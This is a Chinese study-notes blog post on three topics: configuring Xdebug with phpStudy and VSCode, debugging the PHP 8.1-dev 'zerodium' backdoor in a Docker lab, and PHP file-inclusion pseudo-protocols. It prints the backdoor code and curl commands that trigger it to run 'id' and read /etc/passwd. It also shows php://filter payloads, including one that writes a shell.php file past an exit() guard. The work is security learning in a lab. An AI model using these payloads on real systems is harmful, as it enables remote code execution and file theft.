学习总结部分环境与文件包含
xdebug安装
我使用的是小皮面板,在小皮面板路径的www下新建test文件,创建一个phpinfo.php,
<?php
phpinfo();
?>
再在浏览器输入http://127.0.0.1/test/phpinfo.php,右键查看源代码,复制给https://xdebug.org/wizard的框中,它会分析,将分析的内容再复制给AI,如deep seek,让它翻译并整理出具体步骤,
步骤1:下载正确的 Xdebug 版本
下载文件:php_xdebug-3.1.6-7.3-vc15-nts-x86_64.dll
步骤2:放置并重命名扩展文件
-
将下载的 DLL 文件移动到:
D:\phpstudy_pro\Extensions\php\php7.3.4nts\ext\
-
重命名为:
php_xdebug.dll
(注意:不是保留原文件名,而是重命名为
php_xdebug.dll)
步骤3:配置 php.ini 文件
-
打开配置文件:
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
-
在文件末尾添加以下配置:
[Xdebug]
; 基本配置(向导要求)
zend_extension = xdebug; 启用调试功能
xdebug.mode = debug,develop; 调试连接配置
xdebug.client_host = localhost
xdebug.client_port = 9003; 自动启动调试
xdebug.start_with_request = yes; IDE 密钥(与 VSCode 一致)
xdebug.idekey = VSCODE; 日志文件(用于排错)
xdebug.log = "D:\phpstudy_pro\Extensions\php\php7.3.4nts\xdebug.log"
xdebug.log_level = 7
步骤4:重启 Web 服务器
在小皮面板中重启 PHP 服务,注意端口一致,刷新再在http://127.0.0.1/test/phpinfo.php,查看

步骤5:安装 VSCode PHP Debug 扩展
-
打开 VSCode
-
点击左侧"扩展"图标(或按
Ctrl+Shift+X) -
搜索:
PHP Debug
步骤6:创建创建调试配置文件
-
切换到调试面板
-
点击左侧调试图标(虫子图标)或按
Ctrl+Shift+D
-
-
创建 launch.json
-
点击"创建一个 launch.json 文件"
-
选择 PHP
-
-
选择环境
-
选择 "Listen for Xdebug"
-
步骤7:配置 launch.json(关键)
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug", // 配置名称
"type": "php", // 类型为 PHP
"request": "launch", // 启动方式
"port": 9003, // 端口(必须与 php.ini 一致)
"pathMappings": { // 路径映射(重要!)
"D:\\phpstudy_pro\\WWW\\": "${workspaceFolder}\\"
},
"hostname": "localhost", // 主机名
"log": true, // 启用日志
"externalConsole": false, // 不使用外部控制台
"stopOnEntry": false // 不在一开始就暂停
}
]
}
⚠️ 重要:pathMappings 配置
这是最关键的配置,路径必须正确:
| 项目 | 路径示例 | 说明 |
|---|---|---|
| 服务器路径 | D:\phpstudy_pro\WWW\ | 小皮面板网站根目录 |
| 本地路径 | ${workspaceFolder}\ | VSCode 打开的项目目录 |
如何确定路径映射?
-
找到小皮面板网站根目录
-
打开小皮面板
-
点击"网站" → 查看"根目录"列
-
通常是:
D:\phpstudy_pro\WWW\
-
-
找到 VSCode 项目路径
-
在 VSCode 中,查看左下角状态栏
-
或按
Ctrl+K Ctrl+P查看当前文件路径
-
-
示例场景
-
场景1:整个 WWW 目录作为项目
"pathMappings": { "D:\\phpstudy_pro\\WWW\\": "${workspaceFolder}\\" } -
场景2:子目录项目
"pathMappings": { "D:\\phpstudy_pro\\WWW\\project\\": "${workspaceFolder}\\" }
-
远程调试PHP底层复现8.1-dev后门
第一步:启动 Docker 容器
在 Ubuntu 虚拟机中执行:
# 1. 拉取镜像 docker pull tuwen/phpsrc-debug:8.1-backdoor # 2. 运行容器(注意IP和端口映射) docker run -it --rm --name debug \ -p 8080:8080 \ -p 2222:22 \ tuwen/phpsrc-debug:8.1-backdoor
第二步,私钥准备
运行后会显示私钥,复制这个私钥到 Windows 的 D:\php-debug\private.key 文件。

# 在 Windows 上创建一个工作目录,例如:
# D:\php-debug\
# 在这个目录中:
# 1. 创建一个私钥文件:private.key
# 2. 将教程中的私钥内容粘贴进去
# 右键 private.key → 属性 → 安全 → 高级
# 禁用继承,将以继承的权限转换为此对象的显示权限
#删除到只存在如下权限

#vscode右键以管理员身份打开
第三步:配置 VS Code 远程连接
3.1 安装 Remote-SSH 扩展
-
打开 Windows 上的 VS Code
-
点击左侧 Extensions 图标(或按 Ctrl+Shift+X)
-
搜索 "Remote - SSH"
-
点击 Install 安装
3.2 配置 SSH 连接
-
点击左下角的绿色 "><" 按钮
-
选择 "Connect to Host..."
-
选择 "Configure SSH Hosts..."
-
选择配置文件(通常是
C:\Users\你的用户名\.ssh\config) -
添加以下配置:
Host php-debug HostName 192.168.66.129 # 你的虚拟机IP Port 2222 User root IdentityFile D:\php-debug\private.key
第四步:连接到 Docker 容器
4.1 建立连接
-
在 VS Code 中按 F1
-
输入 "Remote-SSH: Connect to Host..."
-

-
注意key文件的更改和ip地址的更改,ip地址是自己虚拟机的ip地址,如果要选系统,就选Linux
-
之后这里会显示 "php-debug",点这个,在新窗口创建 -
等待连接建立(会显示新窗口)
第五步:在容器中配置开发环境
5.1 打开源码目录
连接成功后,在新窗口:
-
点击 "Open Folder"
-
输入
/usr/src/php -
点击 OK,进入界面后就可以了
-

5.2 安装扩展
-
在扩展面板搜索 "C/C++"
-
找到 Microsoft 的 C/C++ 扩展
-
重要:点击 "Install in SSH: php-debug"(不是本地安装)
-
可以在安装Dev Containers,等待安装完成


第六步:配置调试环境
6.1 创建调试配置文件
-
点击左侧 Run and Debug 图标(或按 Ctrl+Shift+D)
-
点击 "create a launch.json file"
-
选择 "C++ (GDB/LLDB)",如果没找到,可能是没有在远程安装,或者其他问题,可以先手动创建
-
将以下内容复制到
launch.json:
{
"version": "0.2.0",
"configurations": [
{
"name": "(gdb) Launch",
"type": "cppdbg",
"request": "launch",
"program": "/usr/local/bin/php",
"args": ["-S", "0.0.0.0:8080", "-t", "/var/www/html"],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}
6.2 创建测试文件(最好提前做)
这个容器运行后,CTRL C会关闭容器,不方便在终端命令行操作
或者按 Ctrl+P,然后 Ctrl+Q(不是同时按,是先按 Ctrl+P,松开,再按 Ctrl+Q)
容器会在后台继续运行,你回到命令行(因为重复多次创建关闭会导致在远程连接时找不到管道路线,可以用快照还原重试)
在 VS Code 终端中执行:
# 创建 web 目录 mkdir -p /var/www/html # 创建测试 PHP 文件 echo '<?php echo "hello world"; phpinfo(); ?>' > /var/www/html/index.php # 验证文件 cat /var/www/html/index.php
第七步:设置断点并调试
7.1 找到后门代码
-
在左侧文件浏览器中打开:
ext/zlib/zlib.c -
按 Ctrl+F 搜索 "zerodium"
-
找到这段代码(大约在 360-380 行):
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
7.2 设置断点
-
在
if (strstr(Z_STRVAL_P(enc), "zerodium")) {这一行左侧点击设置断点 -
会显示一个红点
7.3 启动调试
-
按 F5 或点击绿色播放按钮
-
查看终端输出,应该显示:
text
Listening on http://0.0.0.0:8080
7.4 测试访问
在 Windows 浏览器中访问:
text
http://192.168.1.190:8080/
应该看到 "hello world" 和 PHP 信息。
第八步:触发后门进行调试
8.1 发送触发请求
在 Windows 上使用 PowerShell 或 CMD:
powershell
# 方法1:使用 curl(需要安装 curl)
curl -H "User-Agent: zerodiumphpinfo();" http://192.168.1.190:8080/
# 方法2:使用 Invoke-WebRequest
$headers = @{
"User-Agent" = "zerodiumphpinfo();"
}
Invoke-WebRequest -Uri "http://192.168.1.190:8080/" -Headers $headers
# 方法3:使用 Burp Suite 或 Postman
8.2 观察调试器
-
发送请求后,VS Code 应该在断点处暂停
-
你可以:
-
查看 Variables 面板中的变量值
-
使用 Step Over (F10)、Step Into (F11) 单步调试
-
在 Debug Console 中执行 GDB 命令
-
第九步:验证后门
发送测试请求验证后门存在:
powershell
# 测试1:数学计算
curl -H "User-Agent: zerodiumvar_dump(233*233);" http://192.168.1.190:8080/
# 测试2:系统命令
curl -H "User-Agent: zerodiumsystem('id');" http://192.168.1.190:8080/
# 测试3:查看文件
curl -H "User-Agent: zerodiumhighlight_file('/etc/passwd');" http://192.168.1.190:8080/
文件包含
php伪协议
一.【file://协议】
用法:


进行文件读取,需要绝对路径http://127.0.0.1/include/1.php?file=file://D:\phpstudy_pro\WWW\include\1.txt

二.【php://协议】
php://filter
用法:


php://filter 的作用是读取源代码并进行base64编码输出
不使用php://filter 就会直接当做php代码执行就看不到源代码内容

使用php://filter将源码转换为base64编码
http://127.0.0.1/include/1.php?file=php://filter/read=convert.base64-encode/resource=2.php

使用解码工具查看
https://www.toolhelper.cn/EncodeDecode/Base64

特殊例题


使用Burp,改浏览器代理,使用本地的IP

改请求头,提交两个值

查看提交结果,这个是提交之后出现的

执行此文件无结果(无法执行PHP代码,因为前面有exit,直接退出程序)

解决方式,使用编码

使用filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=aPD9waHAgcGhwaW5mbygpOw==并用a补位

查看结果

执行成功

优化方案,使用过滤器string.strip_tags,先去除标签,再解码

查看结果

乱码去除

三.【zip://, bzip2://, zlib://协议】
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以绕过后缀防护。
1.【zip://协议】
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
2.【bzip2://协议】
使用方法:
compress.bzip2://file.bz2
3.【zlib://协议】
使用方法:
compress.zlib://file.gz
自动解压压缩包 然后把压缩包的文件放下include 进行文件包含
更多推荐



所有评论(0)